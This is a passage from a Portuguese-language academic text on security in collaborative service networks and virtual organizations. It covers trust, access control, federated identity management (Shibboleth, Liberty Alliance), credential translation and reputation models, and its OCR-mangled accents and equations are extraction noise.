ser composto por diversos Servicos Web, ultrapassando assim diversos dominios admi-
nistrativos e de seguranca. Por exemplo, para fazer parte de uma organizacao virtual, uma
organizagdo precisa satisfazer a requisitos especificados, como ter uma certa capacidade
de producdo disponivel ou ser capaz de atender a determinados prazos ou orcamento. Em
casos como este, surge naturalmente uma preocupacao com a privacidade dos atributos
usados na busca e selecdo de parceiros de uma OV, particularmente quando existem infor-
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macdes sensiveis cuja revelacdo pode prejudicar a organizagdo face a seus concorrentes
ou colaboradores. Nesse contexto, torna-se importante oferecer mecanismos que possi-
bilitem a uma organizagao tomar parte no processo de busca e sele¢do de parceiros sem
com isso comprometer sua posi¢cdo perante os demais. A especificagdo Web Services Ar-
chitecture da W3C [W3C 2004a] apresenta algumas consideracdes sobre a privacidade na
arquitetura dos Servicos Web, indicando que tal assunto ainda ndo estd completamente
solucionado e necessita de um estudo mais aprofundado.

Conforme constatado em [Carminati et al. 2005], geralmente, um provedor de ser-
vigos tem preocupagdes de seguranca com relacdo aos provedores ou servigcos com 0s
quais este coopera durante um processo de negocio. Em uma aplicacdo distribuida o
termo confianca pode assumir diferentes interpretacdes. Em seguranga o mais usual é
como garantir que as informacdes foram enviadas por uma origem confidvel, ou seja, a
preocupacdo recai sobre as propriedades de autenticidade e integridade das mensagens.
Porém, a confianga pode ser entendida como a probabilidade subjetiva que um individuo
“A” espera que um individuo “B” execute uma dada acdo na qual depende o bem-estar de
“A” [Gambetta 1988, Sabater e Sierra 2005].

A confianga possui papel fundamental tanto na fase de criacdo quanto nas fases
de operacdo e manutencdao das redes colaborativas. A dinamica intrinseca das Organi-
zacOes Virtuais torna a sele¢do de parceiros uma tarefa dificil do ponto de vista da se-
guranca. Além da necessidade de combinar politicas e adequacdo dos mecanismos de
seguranca, € necessario garantir que somente entidades confidveis deverdo ser seleciona-
das para compor a OV. Para o gerente de uma OV, selecionar entidades com as quais este
interagiu anteriormente nao chega a ser uma tarefa complexa, porém selecionar uma enti-
dade com quem este nunca interagiu e determinar se esta é confidvel ao ponto de inclui-la
em uma OV € uma decisao dificil de ser tomada. Por este motivo, sistemas de reputacdes
geralmente sdo combinados com modelos de redes de confianga permitindo assim, por
exemplo, que um gerente possa consultar em entidades confidveis a reputagdo de uma
determinada entidade.

Em algumas redes colaborativas, assume-se que o estabelecimento de confianga é
um processo manual que exige o cumprimento de diversos requisitos burocraticos antes
da criag¢do da relagdo de confianca. Por exemplo, para que uma Universidade seja um
Provedor de Identidade em uma federagdo de servicos de um rede de ensino e pesquisa,
como a InCommon, € necessario que a entidade cumpra um conjunto de requisitos, sendo
alguns destes relacionados a necessidade de certificados digitais emitidos pela Autoridade
Certificadora da Federacdo. Outros trabalhos tratam a confianga de uma maneira mais
dindmica e volatil. Por exemplo, em OV para executar um determinado processo de
negocios € necessdrio que diversos provedores de servicos se agrupem €, uma vez que
o processo tenha sido cumprido, tal relagdo € desfeita.

A manutencio de uma rede colaborativa estd relacionada a evolu¢dao da compo-
sicdo do sistema. Estas redes possuem diferentes niveis de dinamismo sendo algumas
formadas por entidades que entram e saem da rede com uma grande frequéncia e outras
que mantém suas entidades quase que inalteradas. O grande desafio nestes ambientes
€ manter o progresso das aplicagcdes mesmo diante do churn, o que requer mecanismos
que permitam detectar a saida ou a falha de membros, com conseqiiente redistribuicdo de
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tarefas no sistema e eventual renegociacdo de parametros de seguranga. Como visto na
secdo 3.2, as redes colaborativas sdo geralmente constituidas para atender uma determi-
nada necessidade de negocio e, no caso das Organizacdes Virtuais (OV), s@o desfeitas tdo
logo esta necessidade tenha sido satisfeita. Por outro lado, redes de pesquisa e educacao,
como a Internet2 e a RNP, constituem redes colaborativas com relacdes mais duradoras e
com poucas modificacdes em sua lista de participantes.

Durante o ciclo de vida das redes colaborativas € importante garantir que todos os
participantes, € somente estes, possam usufruir dos recursos ali presentes. Os modelos
discriciondrios garantem o acesso de usudrios as informagdes com base na identidade e
nas autorizagdes que determinam a forma de acesso que cada usudrio estd autorizado a
realizar sobre cada objeto [Sandhu e Samarati 1994]. Em redes académicas tal modelo
poderia ser empregado sem grandes transtornos uma vez que a lista de participantes sofre
poucas modificacdes.

Segundo [Blaze et al. 1996], apesar do modelo discriciondrio ser amplamente ado-
tado, ndo € o mais adequado para os atuais sistemas computacionais devido a dindmica
inerente destes sistemas, com a lista de sujeitos e de recursos em constante modificacao,
como no caso das OrganizacOes Virtuais. Por exemplo, uma entidade pode ingressar em
diversas OV em intervalos de tempo diferentes ou de forma concorrente. Desta forma,
uma entidade precisa garantir aos demais participantes o acesso aos seus recursos, de
acordo com a politica de negdcio, enquanto durar a OV.

Um membro de uma organizacdo virtual, além de autenticar os servigos parcei-
ros, costuma, com base nas credenciais apresentadas, definir regras de acesso para li-
mitar as ag¢des desses parceiros. Ou seja, uma politica de autorizacio local pode ser
definida e concretizada em cada servigo/organiza¢do. Segundo [Lorch et al. 2003a], a
maioria das organizacdes utiliza linguagens de politicas proprietdrias ou que se direci-
onam somente a algumas aplicacdes, causando assim problemas de interoperabilidade
para produzir, aceitar e interpretar a informac¢do de autorizagdo proveniente de diferen-
tes organizacdes. Ou seja, modelos fortemente dependentes de um padrao de descri¢do
de politica (casamento sintdtico de politicas) ndo podem ser aplicados nestes ambien-
tes heterogéneos [Patterson e Miller 2006]. A Figura 3.5 exemplifica um problema de
casamento de politicas de autoriza¢do onde se tem declaragdes equivalentes mas a com-
paracdo entre elas (casamento) s6 € possivel se houver o conhecimento do dominio da
aplicacdo (semantica) pois uma compara¢ao puramente sintdtica ird negar o acesso ao
recurso [Patterson e Miller 2006]. Tal problema é facilmente encontrado no cenério de
redes colaborativas pois envolvem ambientes heterogéneos e de dominios administrati-
vos, logo semanticos, distintos. Para que possam colaborar, os servigos precisam entrar
em um acordo quanto aos protocolos, sintaxes e semanticas de autorizacao.

No contexto de OV’s (Organizacdes Virtuais), podem-se considerar trés macro
problemas ligados a autorizacio e controle de acesso: um relacionado com a defini¢do
e casamento semantico de politicas de controle de acesso, a composicao e transposicao
de politicas em servicos compostos e a qualidade de protecdo da politica global nestes
ambientes colaborativos.

Entre as solugdes mais citadas na literatura estdo aquelas baseadas em mapea-
mento semantico das politicas de seguranca usando ontologias, [Patterson et al. 2008],
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Figura 3.5. Exemplo de um problema de casamento sintdtico de politica de autorizacdo

[Patterson e Miller 2006] [Muthaiyah e Kerschberg 2007] ou de um framework baseado
em UCON (Usage Control) para uma soluciao que prové suporte a autenticacdo baseada
em contexto em redes colaborativas ad-hoc [Zhang et al. 2006, Zhang et al. 2008]. Estas
solucdes sdo descritas na Sec¢ao 3.4.5.

Outros requisitos de seguranca trazem a qualidade de protecao necessdria para um
ambiente de negdcios. Sdo estes: a autenticidade, a confidencialidade, a integridade e a
nao-repudiacdo das transagdes entre os servicos parceiros [Charfi e Mezini 2005]. As par-
tes envolvidas necessitam de suporte apropriado para garantir esta qualidade de protecao.
Tradicionalmente, o Secure Sockets Layer (SSL), o Transport Layer Security (TLS) e o
Internet Protocol Security (IPSec) sdo algumas das tecnologias que permitem o transporte
seguro de informagdes. Estas s@o tecnologias ponto a ponto que criam um canal seguro,
através do quais os dados podem trafegar. No entanto, em processos de negdcios, o rotea-
mento entre multiplos Servicos Web é essencial, uma vez que uma mensagem, para atingir
o destinatdrio final, passa por diversos nés intermedidrios que devem ter acesso apenas a
partes especificas das mensagens. Ou seja, a seguranca fim a fim € outra necessidade de
seguranga critica para redes colaborativas.

Segundo [Demchenko et al. 2005], apesar da ado¢do do padrdao XML ter sido
apontado como uma vantagem para o sucesso dos Servigos Web, este traz alguns riscos
a seguranca. A andlise das mensagens XML com entradas volumosas e complexas pode
requerer um consumo de recursos computacionais consideraveis, e por isso esta caracte-
ristica pode ser explorada por ataques de negagdo de servico. Além disso, documentos
XML podem conter instru¢des maliciosas?! que podem alterar o processo de andlise do
XML ou conter comandos maliciosos que carregam ameacas as aplicacdes finais.

Na composicao de Servicos Web, os processos de negdcios executados das redes
colaborativas tornam-se ainda mais visiveis, expondo suas funcionalidades, seus fluxos de
negdcios, processos, politicas e arquiteturas internas. Como a WSDL exibe os parametros
e métodos utilizados para acessar os Servicos Web, bem como as possiveis excecdes que
podem ocorrer, estas, muitas vezes, expdem informagdes importantes sobre a estrutura

2Extensdes XML Schema e instrucdes XQuery ou XPath maliciosas.
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interna dos servigos, trazendo riscos a seguranca dos Servicos Web compostos. Meca-
nismos de seguranca estdo sendo propostos para Servicos Web, porém, tais mecanismos
ainda nao contemplam todas as necessidades exigidas na composi¢ao de Servicos Web
[Charfi e Mezini 2005, Carminati et al. 2005].

Os cenarios apresentados na Se¢do 3.2.4 compartilham algumas das questdes de
seguranca apresentadas nesta secao. No caso 1, apds encontrar os possiveis parceiros que
contemplam os requisitos para a determinada oportunidade de negdcio, resta selecionar
aqueles que possuam boa reputacdo, podendo estar diretamente relacionada a honesti-
dade dos parceiros ou relacionada a capacidade destes em realizar a tarefa com uma certa
qualidade. Uma vez que a confianca esteja estabelecida resta ainda decidir sobre os me-
canismos e politicas de seguranca, presentes em cada um dos parceiros. Mecanismos para
gerenciamento de identidades sdo necessdrios para permitir que os mecanismos de auten-
ticacdo e autorizacdo dos participantes de uma OV possam lidar com a dindmica inerente
deste ambiente.

No caso 2, apresentado na Secdo 3.2.4, as relagdes entre os participantes desta
rede colaborativa sdo mais duradouras e geralmente estdo envolvidas entidades renoma-
das e publicamente respeitadas. Dessa forma, o estabelecimento da confianca ndo chega
a ser um grande desafio, podendo este ser realizado de forma estdtica e em momento que
antecede o ingresso da entidade na rede colaborativa. Contudo, neste caso ainda € ne-
cessario modelos para gerenciamento de identidade e de atributos. A autenticacao Unica
(Single Sign-On) € algo bastante desejavel e isto implica em adaptacdes dos mecanismos
de autorizacao e até casamento de politicas de seguranca.

Esta secdo apresentou os principais desafios de seguranga presentes nas redes co-
laborativas, entre estes, destacam-se: a autenticacdo SSO em federacdes de servigos, a
preservacdo da privacidade na busca e sele¢do de parceiros, o estabelecimento dinamico
de relagdes de confianga entre os membros da rede e provedores de servigos. O casamento
de politicas de qualidade de protecdo diante de dominios administrativos heterogéneos, a
garantia da seguranca das informacdes que trafegam entre os membros da rede e autoriza-
cao distribuida e flexivel sao também pontos importantes nos desafios de seguranca nestes
ambientes.

3.4. Solucoes de Seguranca para Redes Colaborativas

Esta secdo tem por objetivo apresentar uma sintese do estado da arte relativo a seguranca
em redes colaborativas orientadas a servicos. As solucdes analisadas estdo divididas nas
seguintes subsecoes: gerenciamento de identidade (Secdo 3.4.1), gerenciamento de con-
fianca (Se¢do 3.4.2), gerenciamento de politicas de qualidade de protecdo (Segdo 3.4.3),
provisionamento de canais seguros (Se¢do 3.4.4) e autorizacao e modelos de controle de
acesso (Sec¢ao 3.4.5).

3.4.1. Gerenciamento de Identidade

O gerenciamento de identidades® consiste de um sistema integrado de politicas, proces-
sos de negdcios e tecnologias que permite as organizagdes proverem recursos de forma

22Uma identidade digital consiste na representagio de uma entidade em um dominio especifico e geral-
mente estd relacionada a dominios do mundo real.
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segura, somente aos seus usudrios. O gerenciamento de identidade também envolve as-
pectos relacionados com a definicdo, certificacdo e gerenciamento do ciclo de vida das
identidades digitais, infra-estruturas para troca e validacdo dessas informagdes, junta-
mente com os aspectos legais. Diversos modelos foram propostos para o gerenciamento
de identidades e em [Jgsang e Pope 2005, Jgsang et al. 2005] € apresentada uma breve
descricao de alguns modelos.

O modelo tradicional de gerenciamento trata a identificacdo de forma isolada,
sendo que o provedor de servigos também atua como o provedor de identidades e de cre-
denciais (senhas associadas com os identificadores). Neste modelo, os usudrios possuem
identificadores unicos e especificos para cada servico com o qual interajam. E como con-
sequéncia diferentes credenciais sdo associadas com cada identificador.

Com o crescimento da oferta de servicos, o gerenciamento de identidades digitais,
por parte dos usudrios e organizacdes, tornou-se uma tarefa drdua. Cada sistema exige um
conjunto proprio de informagdes para que se possa criar uma identidade digital. Para os
usudrios € muito custoso alimentar bases de dados de diferentes servigos, repetindo sem-
pre as mesmas informacdes, entretanto a principal dificuldade € gerenciar o identificador
e a senha escolhidos para cada sistema.

O modelo de gerenciamento de identidades federadas surgiu para suprir as neces-
sidades apresentadas pelo modelo de gerenciamento tradicional. Neste tipo de ambiente,
¢ definido o conceito de dominio, nos quais estdo presentes os provedores de servico,
de identidades e de credenciais, por exemplo, relacionados a uma determinada empresa.
O projeto Liberty Alliance [Liberty 2003a] e o projeto Shibolleth [Shibboleth 2005] sao
implementagdes abertas de modelos de gerenciamento de identidade federada.

No ambiente de identidades federadas, sdo estabelecidos acordos entre os domi-
nios, os quais permitem que identidades locais a um dominio sejam reconhecidas nos
demais dominios participantes do acordo. A federacao de dominios de identificacdo da
a impressdo aos usudrios de possuirem um identificador tnico para todos os dominios
que compoem a federagdo. Os usudrios poderdo continuar a manter identificadores locais
a cada servico ou mesmo dominio, porém o simples fato de possuirem tal identificador
permite que estes usudrios possam acessar servicos presentes em qualquer dominio da
federacgao.

No modelo centralizado de gerenciamento, considera-se a existéncia de um tnico
provedor de identidades e de credenciais em uma federagdo, o qual € utilizado por todos
os provedores de servicos da mesma. Neste modelo um usudrio pode acessar todos os
servicos presentes na federacdo utilizando um mesmo identificador. Em tese, o modelo
se assemelha ao modelo de identidade federada, porém com a diferenca de ndo necessitar
do mapeamento de identificadores. A WS-Federation [WS-FEDERATION 2006] € um
exemplo deste tipo de modelo. A WS-Federation especifica o provedor de identidade que
tem o objetivo de autenticar os usudrios, permitindo que estes usufruam desta autenticagio
em todos os servigo da federagdo.

Em redes de ensino e pesquisa que possuem federacdo de servicos, como por
exemplo no cendrio descrito na Secdo 3.2.4, a facilidade de uma tnica autenticacao (Sin-
gle Sign-On - SSO), permite ao cliente (membro de um dominio da federagdo) efetuar o
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processo de autentica¢do uma dnica vez, seja em provedores de servicos ou de identidades
ou em uma entidade autenticadora centralizada, e usufruir deste processo de autenticacao
nos demais servigos disponiveis na rede.

Juntamente com a facilidade trazida pela autenticacdo unica tem-se novos desa-
fios. Do ponto de vista da seguranca dos usudrios deste sistema, a autenticacdo Unica
permite, por exemplo, que provedores de servicos entrem em comum acordo para rastrear
as atividades de um determinado usudrio, ferindo assim sua privacidade. Ja para os pro-
vedores de servigos, os novos desafios apresentados estdo voltados para a geréncia das
relacdes de negdcio entre os provedores parceiros, visto que cada sistema participante do
negocio possui suas proprias politicas de negdécio, de seguranca e administrativas. Por
exemplo, como garantir que os controles de autenticacdo e de acesso aplicados em um
dominio serdo equivalentes aos controles aplicados em um outro dominio?

[Damiani et al. 2003] apresenta um estudo sobre os problemas inerentes ao ge-
renciamento de multiplas identidades, descrevendo os requisitos necessarios que um sis-
tema de gerenciamento de identidades deve atender. Dentre os requisitos apresentados,
alguns estdo diretamente preocupados com as necessidades de seguranca dos clientes
[W3C 2002, Rannenberg 2000], tais como a privacidade, o anonimato, a responsabili-
dade, a interoperabilidade das identidades, etc.

Projeto Shibboleth

O projeto Shibboleth?? é uma proposta conjunta da Internet2 e IBM que investiga ar-
quiteturas, estruturas e tecnologias para permitir o compartilhamento e controle de acesso
inter-institucional de servigos disponiveis através da Internet, tendo como cendrio de uso o
ambiente académico[Carmody 2001]. O projeto visa a troca de informacdes, de forma se-
gura e interoperavel, entre sitios web, permitindo que usudrios de um determinado campus
possam usufruir de recursos presentes em outros campi, garantindo ainda a privacidade
dos usudrios. O Shibboleth requer que cada sitio possua um mecanismo para autenticar
seus usudrios e usando como suporte tecnologias de seguranga subjacentes que ja estejam

em uso pelas instituigdes>*.

O Shibboleth visa ser uma solu¢do completa para permitir a transposi¢ao de do-
minios administrativos e de seguranca, usufruindo do conceito de uma tinica autenticagio
(SSO) e das relacdes de confianca. Visando ser uma solucdo pratica € ndo somente um
modelo conceitual, a arquitetura do Shibboleth € construida sobre padrdes que ja possuem
seu uso consolidado, como HTTP, XML, esquema XML, XMLDSign [Bartel et al. 2002],
SOAP e SAML (Security Assertion Markup Language). A arquitetura estende o meca-
nismo para troca de atributos e 0 SSO do SAML[OASIS 2005b], especificando um pro-
vedor de servigos SSO e provendo melhorias para a privacidade dos usudrios.

De acordo com a especificacdo [Shibboleth 2005], a implementacdo de um sitio
¢ composta por trés principais componentes: provedor de identidade - formalmente cha-
mado de “origem”, responsével pela manutencao das credenciais e atributos dos usudrios;

Zhttp://shibbolet.internet2.edu
24Sendo o ideal o uso de certificados de ICPs, tanto pelos clientes quanto pelos sitios
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provedor de servico - formalmente chamado de “destino”, gerencia os recursos prote-
gidos, sabendo que os usudrios poderdo acessar os recursos através da apresentacdo de
assercoes emitidas por um provedor de identidade; o Where Are You From? (WAYF) € um
servico opcional que pode ser usado pelo provedor de servigo para determinar o provedor
de identidade preferencial do usudrio, interagindo ou ndo com o usudrio para obter tal
informacdo. O WAYF geralmente faz parte do préprio provedor de servico.

Projeto Liberty Alliance

O projeto Liberty Alliance consiste em um conjunto de especificacdes produzidas por
um consorcio de empresas atuantes nas mais diferentes dreas, como em telecomunica-
coes, transportes, universidades, bancos, empresas de software, etc. Tem como prin-
cipal objetivo criar especificagdes abertas para tratar o gerenciamento de identidades,
usufruindo do conceito de federacdo de identidades. Os principais objetivos do projeto
sdo [Liberty 2003a]: (1) prover um padrdo aberto para permitir uma tnica autenticagao
(SSO), o que inclui a autenticacdo descentralizada e a autorizagdo em multiplos prove-
dores de servigos; (2) garantir a privacidade e a seguranca das informagdes pessoais dos
usudrios; e, (3)prover especificagdes, compativeis com uma grande variedade de disposi-
tivos.

Esses objetivos podem ser alcancados quando provedores de servigos e clientes
agrupam-se baseados em acordos comerciais e nas tecnologias propostas pela Liberty,
formando assim os circulos de confianca. Tais circulos consistem na federagdo de prove-
dores de servigos e servigcos de identidade, juntamente com os clientes.

No contexto deste projeto, visando garantir a segurancga e a privacidade dos cli-
entes, em [Liberty 2003b], um guia de “boas praticas” para provedores de servigos é
apresentado, frisando que cada empresa ainda deverd estar de acordo com a jurisdi¢do a
qual estd submetida. Neste guia é descrito que os servigos deverdo informar, de forma
clara, aos usudrios quem estd coletando suas informagdes pessoais, quais informagdes es-
tao sendo coletadas e de que forma estdo sendo coletadas. Os servigos deverdo acatar as
escolhas do usudrio, com relagdo a privacidade de suas informagdes pessoais. O usuério
deve ter o direito de escolher quais atributos um provedor de servigos terd acesso, bem
como os meios para indicar o tempo de vida das informacgdes fornecidas.

Identificadores opacos ou pseuddonimos foram propostos nas especificacdes da
Liberty com o intuito de garantir a privacidade dos usudrios dos servigos. Para cada
provedor de servicos, o provedor de identidade podera atribuir diferentes pseudénimos
relacionados a um mesmo usudrio. Dessa forma, o mesmo usudrio pode ser represen-
tado por diferentes pseudonimos para cada servico que este acessa, garantindo assim a
protecdo contra o rastreamento de suas transacoes.

Transposicao de Credenciais de Autenticacao

Conforme visto anteriormente, as abordagens que proveem suporte a autenticagcao Single
Sign On (SSO) surgiram, justamente, para tornar mais simples as interagdes entre clientes
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e provedores de servicos. No entanto, devido a problemas de interoperabilidade, essa
abordagem ¢ deficiente em dominios com diferentes infra-estruturas de seguranca.

Em [de Mello et al. 2009b], é descrito um modelo com suporte a autenticagio
SSO, isto € a transposi¢do de credenciais de autenticacdo, mesmo diante de dominios
administrativos com diferentes tecnologias de seguranca. Neste modelo, um principal®
pode acessar recursos em dominios com tecnologias de seguranca diferentes do seu do-
minio de origem, usando para isto as credenciais fornecidas em seu préprio dominio.

Para que a transposi¢@o possa ocorrer, € preciso que haja uma relacao de confianca
entre o0 dominio de origem e o dominio do provedor do servi¢o [de Mello et al. 2009b].
Se este for o caso, o cliente pode se autenticar no seu dominio de origem e usar essa cre-
dencial para acessar o servico no dominio de destino. Essa credencial pode ser expressa
em um formato neutro e flexivel, como o SAML, a fim de facilitar tradu¢do. Ao receber
a requisicdo juntamente com a credencial do cliente, o servi¢co pode invocar um Servico
de Traducao de Credenciais (STC) presente no seu dominio para que este traduza a
credencial do cliente para o formato suportado pelo servico. De posse da credencial na
tecnologia do seu proprio dominio, o servi¢o pode decidir se permite ou ndo o acesso do
cliente [de Mello et al. 2009b].

O STC deve possuir conhecimento de diversos formatos de credenciais de autenti-
cacdo e das regras para a tradugdo entre os diversos formatos. Concentrar esses requisitos
no STC visa permitir aos servigos dos provedores pertencentes ao dominio operar apenas
com a tecnologia que for mais conveniente.

Os servigos de atributos desempenham um papel importante na transposicdo de
credenciais, pois para realizar a traducdo de uma credencial para o formato suportado
no dominio do provedor, pode ser necessario obter outras informagdes requeridas pela
credencial. Esses atributos podem ser requisitados pelo STC a um servico de atributos no
dominio do cliente para que os campos da credencial possam ser preenchidos. Os servicos
de atributos devem ser capazes de gerenciar pseudonimos que sdo usados pelos clientes
para aumentar a sua privacidade e dificultar o rastreamento por parte dos provedores de
servigos [de Mello et al. 2009b].

H4 outras abordagens para a transposi¢cdo de credenciais de autenticacdo entre
diferentes dominios como o Servico de Conversdao de Credenciais [Canovas et al. 2004,
Lopez et al. 2005], que converte credenciais de diferentes formatos para SAML, o Cre-
dEx [Vecchio et al. 2005], que fornece armazenamento e troca dindmica de credenciais
de diversos tipos mas sem realizar a traducdo, os projetos ShibGrid [Spence et al. 2006] e
SHEBANGS [Jones e Pickles 2007], que provéem autenticagdo baseada em Shibboleth,
usando SAML, para uma infra-estrutura de grids que usa certificados X.509. Ha ainda
outros trabalhos de transposi¢ao de credenciais, mas que ndo lidam com heterogeneidade
[Winslett et al. 2002, Lorch et al. 2003b].

3.4.2. Gerenciamento de Confianca

Em sistemas distribuidos a confianca assume papel fundamental nas interagdes entre as
diversas partes que compdem o sistema. O estabelecimento da confianga nessas aplica-

2 Usudrios, processos ou maquinas autorizados pelas politicas do sistema.
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coes pode ser simples quando a aplicacdo sé abrange um unico dominio administrativo,
ou seja, quando todas as partes do sistema estdo dentro dos limites de uma tnica institui-
cdo. Porém, para casos em que a aplicacdo atravesse diversos dominios o estabelecimento
da confianca entre tais partes torna-se um desafio [de Mello 2009].

O estabelecimento da confiangca pode se dar de forma estética ou dindmica. No
estabelecimento estatico, a confianca entre as partes se dd em um momento prévio a exe-
cucdo da aplicacdo e geralmente consiste em uma interacao direta entre os administrado-
res de cada parte. As redes académicas de pesquisa em sua maioria seguem este tipo de
abordagem. Por outro lado, o estabelecimento dindmico da confianga ocorre durante a
execucao da aplicacao, sendo este caso o mais comum em Organizagdes Virtuais.

Para ambos os casos, estabelecimento estatico ou dinamico, a principal dificul-
dade se faz quando uma das partes envolvidas ndo possui qualquer informacdo sobre a
outra. Assim, o estabelecimento da confianga estaria sendo realizado sem qualquer tipo
de respaldo ou garantia, o que poderia desencorajar as partes em estabelecer uma relagao
de confianca e por consequéncia, deixariam de atender oportunidades de negécio. Na
literatura, as solugdes apresentadas para tal problema geralmente combinam modelos de
confianga a sistemas de reputacdes, que através de provedores de opinides permitem as
partes verificar se a reputacdo da outra € boa o suficiente para que possam estabelecer
uma relagcdo de confianga.

Em [Sabater e Sierra 2005] € dito que modelos de confianca e reputagdao podem ser
caracterizados como cognitivos ou baseados na teoria dos jogos. Os modelos cognitivos
baseiam-se nas no¢des humanas sobre confianga, risco e reconhecimento para assim obter
um grau de confianga sobre uma certa entidade. Os modelos baseados na teoria dos jogos
consideram a confianga e a reputacdo como probabilidades subjetivas. Em ambos os
modelos € previsto que as informacdes de confianca colhidas por uma parte possam ser
divulgadas para outras partes interessadas, criando assim uma rede de informagdes para
expressar nogoes de confianca.

Em [Gray et al. 2003] € apresentada uma arquitetura de seguranca que faz uso dos
conceitos do mundo pequeno® [Milgram 1967] e tem por objetivo otimizar a formagio e a
propagacdo da confianca. A arquitetura apresentada por [Gray et al. 2003] tem como foco
aplicacdes colaborativas em redes moveis ad hoc e baseia-se nas nocdes humanas sobre
confianga, risco e conhecimento. Uma entidade pg sé ird interagir com uma entidade
pm se o grau de confianca calculado por pg sobre p,, for suficiente para superar o risco
envolvido em interagir com p,,. O cédlculo da confianca, de uma entidade pg sobre uma
entidade p,, € apresentado pela equacgao 1:

m
Y (T pi—1(pi))wi

T po(pm) = = - (1)

sendo Tpo(pm) o valor de confianca que pg ird formar sobre um p,, qualquer. p,, é
uma entidade que estd m saltos distante de pg, ou seja, entre py € p,, existem m — 1

26Cada entidade em um sistema de larga escala pode estar separada de qualquer outra entidade por so-
mente algumas entidades intermedidrias.
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entidades intermedidrias. k é a k — esima entidade intermedidria entre pg € p,;, € wi € 0
peso associado a distancia entre py € pg, € quanto menor for o valor de k maior serd a
influéncia do peso wy.

Dessa forma, o valor final da confianca calculado por pg sobre p,, € constituido
pela soma de valores parciais, sendo que os valores obtidos de entidades mais proximas a
po terdo maior influéncia no cédlculo da confianca. Para o caso de existirem multiplos ca-
minhos de confianca ligando pg ao p,,, € assumido que py sempre ird escolher o caminho
mais confidvel para assim obter o valor de confianga para p,, mais legitimo.

O conceito de mundo pequeno fora observado em diversos sistemas computacio-
nais, como em redes par a par para compartilhamento de arquivos [Capkun et al. 2002] e
em redes de confianca do Pretty Good Privacy (PGP) [Penning 2006]. No modelo pro-
posto por [Gray et al. 2003], a rede de confianca aliada ao sistema de reputagdes visa o
estabelecimento de novas relacdes de confianga entre partes que nunca interagiram pre-
viamente. Na fase de criacdo de uma Organizagdo Virtual, o gerente da OV podera se
deparar com parceiros de negdcio que estdo aptos a atender uma oportunidade de negé-
cio, mas ainda ndo possui um valor de confianca formado sobre tal parceiro. A proposta
de [Gray et al. 2003] poderia ser empregada nesse caso.

Um problema inerente aos sistemas de reputacdes estd na filtragem das opinides
recebidas. Ao assumir que os provedores de opinides sdo corretos € nunca irdo prover
opinides diferentes daquilo que de fato observaram, ainda assim € possivel que diferen-
tes provedores apresentem diferentes opinides, que apesar de ndo serem maliciosas sdo
inconsistentes, gerando duvida para a parte que as requisitou.

Em [Wang e Vassileva 2003] € apresentado um modelo de confianga, aliado a um
sistema de reputacdes, baseado em redes bayesianas, tendo como aplicacdo exemplo uma
rede par a par para o compartilhamento de arquivos. Cada par na rede pode assumir
dois papéis, o primeiro destinado ao provimento de arquivos, denominado provedor e
o segundo destinado ao provimento de opinides, denominado agente. A proposta de
[Wang e Vassileva 2003] apresenta uma solucdo para situagdes em que diferentes agen-
tes possuem diferentes opinides sobre um mesmo par. Os autores assumem que todos 0s
agentes sempre irdo emitir pareceres verdadeiros sobre a reputagdo de outros pares, ou
seja, os agentes nunca irdo assumir um comportamento malicioso. Neste caso, diferentes
agentes apenas possuem diferentes critérios para classificar outros pares.

A rede bayesiana serve de apoio para que um par, ao pesquisar por arquivos, possa
escolher os melhores provedores, ou seja, provedores que anteriormente se mostraram ca-
pazes em prover arquivos e por consequéncia possuem uma maior probabilidade de conti-
nuar provendo arquivos de forma satisfatéria. Para os casos em que um agente nao possua
qualquer experiéncia anterior com um provedor € proposto um sistema de reputacao onde
0s agentes passam a atuar como provedores de recomendagobes. Assim, um agente ao ser
consultado sobre a competéncia de um determinado provedor de arquivos, este ird veri-
ficar em sua rede bayesiana se existe alguma opinido formada a respeito e ird responder
com o valor ali presente.

Para formar uma opinido sobre um determinado provedor de arquivos, um agente
pode questionar diversos outros agentes € como consequéncia ird receber diversas respos-
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tas, as quais podem ser oriundas de agentes confidveis, ndo confidveis e até de agentes
desconhecidos, ou seja, agentes com quem este ndo teve qualquer interagdo prévia. As
recomendagdes oriundas de agentes nao confidveis sao imediatamente descartadas. As re-
comendacdes oriundas de agentes confidveis e de agentes desconhecidos sdo combinadas
de acordo com a equagdo 2:

k 8
Ztril*tlj
=1

Tij :wt*k—+ws*
Ztril
I=1

sendo r;; o total de recomendagdes que o i-ésimo agente obteve sobre o j-ésimo provedor
de arquivos. k € o ndmero de recomendacdes de agentes confidveis e g € o nlimero de
recomendacdes de desconhecidos. ¢r;; € o grau de confianca que o i-ésimo agente possui
sobre o [-ésimo agente confidvel. 7;; € o grau de confianga que o [-ésimo agente confidvel
possui sobre o j-ésimo provedor de arquivos. f;; € o grau de confianga que o z-ésimo
agente desconhecido possui sobre o j-ésimo provedor de arquivos. w; € wg s30 Pesos
definidos por cada agente para determinar a importincia das recomendacdes feitas por
agentes confidveis e por agentes desconhecidos, respectivamente.

z=1

W +wy =1 )

Ap6s ser calculado o grau de confianga para um determinado provedor de arqui-
vos, € verificado se este valor € suficiente para interagir com este provedor, sendo cada
agente o responsavel por definir o valor minimo necessario para isto. Apods cada intera-
cdo, o agente ird atualizar sua rede bayesiana para o provedor de arquivos em questdo e
também ird atualizar sua confianca nos agentes que proveram as recomendacgdes através
da técnica de aprendizado por reforco [Sutton e Barto 1998], de acordo com a equacao 3:

trf‘j:oc*tr?j+(l—a)*ea 3)

sendo tr;-’j o novo grau de confianga que o i-ésimo agente ird possuir sobre o j-ésimo
provedor de opinides apds a atualizacao. trl‘?j representa o grau de confianga anterior. o
¢ a taxa de aprendizado, um nimero real no intervalo de [0,1]. ey é o valor da nova
evidéncia, o qual pode ser —1 ou 1. Se o valor recomendado for maior que o necessdrio
para iniciar a interacdo com o provedor de arquivo e se a interagdo ocorrer de forma
satisfatoria, entdo ey € igual a 1 e caso a interacdo ocorra de forma insatisfatoria, ey €
igual a —1.

A equacdo 3 garante aos agentes que forneceram recomendacdes verdadeiras um
aumento em seu grau de confianca e aqueles que apresentaram recomendacdes falsas
serdo punidos gradativamente até atingir um limiar para serem considerados como nao
confidveis. O modelo de [Wang e Vassileva 2003] poderia ser empregado na fase de cri-
acdo de uma Organizacdo Virtual (OV) e assim evitar a inclusdo de entidades que nédo
honraram alguma intera¢do no passado em alguma outra Organizacdo Virtual. Durante
a execucao de uma OV, o modelo poderia ser empregado para aumentar ou diminuir o
grau de confiancga sobre as entidades participantes, garantindo assim uma visao sempre
atualizada o que facilitaria o processo de criacao de OV subsequentes.
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Os trabalhos [Gray et al. 2003, Wang e Vassileva 2003, Sabater e Sierra 2001] fa-
